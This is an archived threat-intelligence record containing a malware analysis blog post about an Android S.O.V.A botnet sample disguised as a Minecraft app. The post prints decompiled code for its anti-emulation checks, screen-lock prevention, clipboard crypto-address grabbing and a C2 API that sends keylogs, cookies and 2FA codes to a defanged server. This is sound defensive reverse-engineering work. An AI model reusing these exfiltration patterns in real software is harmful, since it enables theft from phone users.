{
	"id": "fc0d7360-1929-4bf0-9e6e-e809c18080cc",
	"created_at": "2026-04-06T00:11:34.60356Z",
	"updated_at": "2026-04-10T03:21:36.826004Z",
	"deleted_at": null,
	"sha1_hash": "db0bf1bde46b06770d1b9351dd4af2d1fd832d70",
	"title": "Eyes on Android/S.O.V.A botnet sample",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 229906,
	"plain_text": "Eyes on Android/S.O.V.A botnet sample\r\nBy @cryptax\r\nPublished: 2023-07-07 · Archived: 2026-04-05 21:56:29 UTC\r\n4 min read\r\nJul 7, 2023\r\nSummary\r\nSample c1642ac3f729701223043b16ac2c6c5f64adc7080f474c181067b0f1335218f2\r\nPoses as a Minecraft app\r\nMalicious Android/S.O.V.A botnet client\r\nPacked\r\nImplemented in Kotlin\r\nUses Retrofit2 for communication with C2\r\nThe C2 is down currently\r\nAn excellent analysis here.\r\nI try to highlight different aspects:\r\n1. How to unpack with Medusa\r\n2. How the malware sets up on first launch\r\n3. How to reverse Retrofit2 communications\r\n4. Support for encrypted logs\r\nUnpacking with Medusa\r\nThis sample is packed, and can be unpacked with Medusa, using memory_dump/dump_dex .\r\nPress enter or click to view image in full size\r\nMedusa is capturing the payload DEX in classes2.dex\r\nThe main activity is com.nslah.ieg.tzzi.hkb.ui.LauncherActivity .\r\nStartup Flow: from main entry point to malicious work\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 1 of 6\n\nThe entire startup mechanism begins from checkCountry . It ensures the malware does not run on phones of CIS\r\nby checking country + presence of 2 common apps in those countries: Sberbank Mobile and Tinkoff. See\r\nexplanation here. However, the check for the 2 apps does far more than just what it names says. Notice the call to\r\nstartApp() .\r\nprotected void onCreate(Bundle savedInstanceState) {\r\n super.onCreate(savedInstanceState);\r\n this.checkCountry();\r\n }\r\n...\r\nprivate static final void checkCountry$checkForSngPackages(LauncherActivity this$0) {\r\n Timber.d(\"Checking installed packages\", new Object[0]);\r\n List list0 = AppExtensionsKt.loadInstalledApps(this$0);\r\n if(!list0.contains(\"ru.sberbankmobile\") \u0026\u0026 !list0.contains(\"com.idamob.tinkoff.android\")) {\r\n this$0.startApp();\r\n return;\r\n }\r\n this$0.finish();\r\n }\r\n...\r\n private final void startApp() {\r\n if(this.checkEmulator()) {\r\n this.finish();\r\n }\r\n Timber.d(\"startApp()\", new Object[0]);\r\n this.prefsUtil.saveAccessibilityRequestTime(System.currentTimeMillis() + this.prefsUtil.getAc\r\n this.prefsUtil.savePermissionsRequestTime(System.currentTimeMillis() + this.prefsUtil.getPerm\r\n if(this.prefsUtil.isFirstLaunch()) {\r\n this.prefsUtil.initHideSms();\r\n ServiceExtensionsKt.startRequestService$default(this, \"first_launch\", null, 2, null);\r\n ServiceExtensionsKt.startGrantAccessibilityActivity(this);\r\n }\r\n ServiceExtensionsKt.startGlobalManagingService(this);\r\n ServiceExtensionsKt.startCBService(this);\r\n this.startService(new Intent(this, MiHoldService.class));\r\n if(SystemAccessExtensionsKt.isAccessibilityEnabled(this)) {\r\n this.finish();\r\n }\r\n }\r\nThe first thing startApp is anti-emulation (call to isEmulator ). It checks for the presence of generic names in\r\nproduct brand, fingerprint etc. This can be bypassed by Medusa’s device_cloaking helper script.\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 2 of 6\n\npublic static final boolean isEmulator() {\r\n String s = Build.BRAND;\r\n Intrinsics.checkNotNullExpressionValue(s, \"BRAND\");\r\n if(StringsKt.startsWith$default(s, \"generic\", false, 2, null)) {\r\n String s1 = Build.DEVICE;\r\n Intrinsics.checkNotNullExpressionValue(s1, \"DEVICE\");\r\n if(StringsKt.startsWith$default(s1, \"generic\", false, 2, null)) {\r\n return true;\r\n }\r\n...\r\nOn first launch, the malware:\r\nSays hello to the C2 hxxp://re184edek1nslloaj1fhdskl13asdrf.xyz/api?\r\nmethod=bots.new\u0026botid=BOTID\u0026botip=IPADDRESS\u0026sdkVersion=SDKVERSION etc\r\nAsks the end-user to provide accessibility rights.\r\nThen, 2 services are started: GlobalManagingService and CBWatcherService . CBWatcherService grabs\r\ncryptocurrency addresses from the clipboard for currencies like Bitcoin, Ethereum, Binance coin, Tron. See\r\nhere for details.\r\nGet @cryptax’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\nGlobalManagingService does quite a couple of things:\r\nthis.registerScreenReceiver();\r\nthis.registerPhoneUnlockReceiver();\r\nthis.startCounterCoroutine();\r\nthis.startServerPingCoroutine();\r\nregister a receiver that monitors when the screen is on or off, and prevents phone from being locked when\r\nthe screen is off\r\n public void onReceive(Context context, Intent intent) {\r\n String s = intent == null ? null : intent.getAction();\r\n if(Intrinsics.areEqual(s, \"android.intent.action.SCREEN_ON\")) {\r\n GlobalManagingService.this.setScreenOn(true);\r\n return;\r\n }\r\n if(Intrinsics.areEqual(s, \"android.intent.action.SCREEN_OFF\")) {\r\n GlobalManagingService.this.setScreenOn(false);\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 3 of 6\n\nGlobalManagingService.this.setPhoneLocked(true);\r\n }\r\n }\r\nregister a receiver that prevents the smartphone from being locked\r\npublic void onReceive(Context context, Intent intent) {\r\n GlobalManagingService.this.setPhoneLocked(false);\r\n }\r\ncounter coroutine: tell the C2 if the smartphone is rooted or not, open the SMS application, hide the\r\nmalware from the list of apps, request accessibility settings if needed + create a notification asking end-user to add accessibility\r\nping coroutine: ping the C2\r\nHow to find the malicious C2 URL and REST API in Retrofit2 blurb\r\nThe malware uses the Retrofit2 library. This is a common, genuine (non-malicious) library to handle REST API\r\nin Android applications.\r\nThe URL of the C2 is found in the malware’s com.nslah.ieg.tzzi.hkb.data.network.RetrofitClient .\r\n RetrofitClient.serverApi = (ServerApi)retrofit$Builder0.baseUrl(\"http://re184edek1nslloaj1fhdskl13as\r\nThe REST API is implemented in com.nslah.ieg.tzzi.hkb.data.network.ServerApi :\r\npublic interface ServerApi{\r\n...\r\n @FormUrlEncoded\r\n @POST(\"/logpost.php\")\r\n Object log(@Field(\"botid\") String arg1, @Field(\"text\") String arg2, Continuation arg3);\r\n @GET(\"/api\")\r\n Object send2FA(@Query(\"method\") String arg1, @Query(\"botid\") String arg2, @Query(\"codes\") String\r\n @FormUrlEncoded\r\n @POST(\"/testpost.php\")\r\n Call sendCookie(@Field(\"botid\") String arg1, @Field(\"inputLog\") String arg2, @Field(\"cookie\") St\r\n @GET(\"/api\")\r\n Object sendFirst(@Query(\"method\") String arg1, @QueryMap Map arg2, Continuation arg3);\r\n @FormUrlEncoded\r\n @POST(\"/keylog.php\")\r\n Call sendKeyLog(@Field(\"botid\") String arg1, @Field(\"inputLog\") String arg2);\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 4 of 6\n\n@GET(\"/api\")\r\n Object sendPing(@Query(\"method\") String arg1, @QueryMap Map arg2, Continuation arg3);\r\n @GET(\"/api\")\r\n Object sendRequests(@Query(\"method\") String arg1, @QueryMap Map arg2, Continuation arg3);\r\n @GET(\"/api\")\r\n Object sendRoot(@Query(\"method\") String arg1, @Query(\"botid\") String arg2, @Query(\"root\") String\r\n}\r\nThe base URL is returned by a method such as getServerApi() . Actually, there are several different\r\nAPIs: a DDoS API, a Country Check API etc but they are not implemented yet (point to www.google.com).\r\nThe entry point is referenced by the decorator e.g. @GET(\"/api\") means the malware will go to\r\nBASE_URL/api .\r\nThe fields are referenced by @Query for an optional field or @Field when mandatory. e.g. to send a ping\r\nto C2, the URL will be BASE_URL/api/?method=xxx …\r\nThe communication with the C2 is handled by a service named RequestService . For example, the code below\r\nhandles requests sent at first launch of the malware.\r\n if(s.equals(\"first_launch\")) {\r\n this.logger.log(\"Event first launch. Version: 4\");\r\n Function1 function10 = new RequestService.onStartCommand.1(this, startId);\r\n this.retrofitUtil.sendFirstLaunch(function10);\r\n return 3;\r\n }\r\nA few sample URLs are listed in the Relations Tab of VirusTotal.\r\nPress enter or click to view image in full size\r\nSOVA requests\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 5 of 6\n\nTimber logs with encryption support\r\nLogs are handled by Timber, which is a legitimate and common Android logger. The following logs the\r\nsmartphone’s country.\r\n Timber.d(Encrypt.TDE((\"IP country code: \" + s)), new Object[0]);\r\nLog encryption is supported. In that case, the input is a Base64 string. The code decodes the Base64 string and is\r\nexpected to find something like RC4_KEY:::CIPHERTEXT .The RC4 key is extracted from the 8 first bytes and used\r\nto decrypt the ciphertext.\r\nbyte[] arr_b = Base64.decode(txt, 0);\r\nif(arr_b.length \u003e 11) {\r\n if(!new String(new byte[]{arr_b[8], arr_b[9], arr_b[10]}, StandardCharsets.UTF_8).equals(\":::\"))\r\n return txt;\r\n }\r\n SecretKeySpec key = new SecretKeySpec(arr_b, 0, 8, \"RC4\");\r\n Cipher cipher0 = Cipher.getInstance(\"RC4\");\r\n cipher0.init(2, key);\r\n return new String(cipher0.doFinal(arr_b, 11, arr_b.length - 11));\r\n}\r\n— Cryptax\r\nSource: https://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nhttps://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08"
	],
	"report_names": [
		"eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08"
	],
	"threat_actors": [],
	"ts_created_at": 1775434294,
	"ts_updated_at": 1775791296,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/db0bf1bde46b06770d1b9351dd4af2d1fd832d70.pdf",
		"text": "https://archive.orkl.eu/db0bf1bde46b06770d1b9351dd4af2d1fd832d70.txt",
		"img": "https://archive.orkl.eu/db0bf1bde46b06770d1b9351dd4af2d1fd832d70.jpg"
	}
}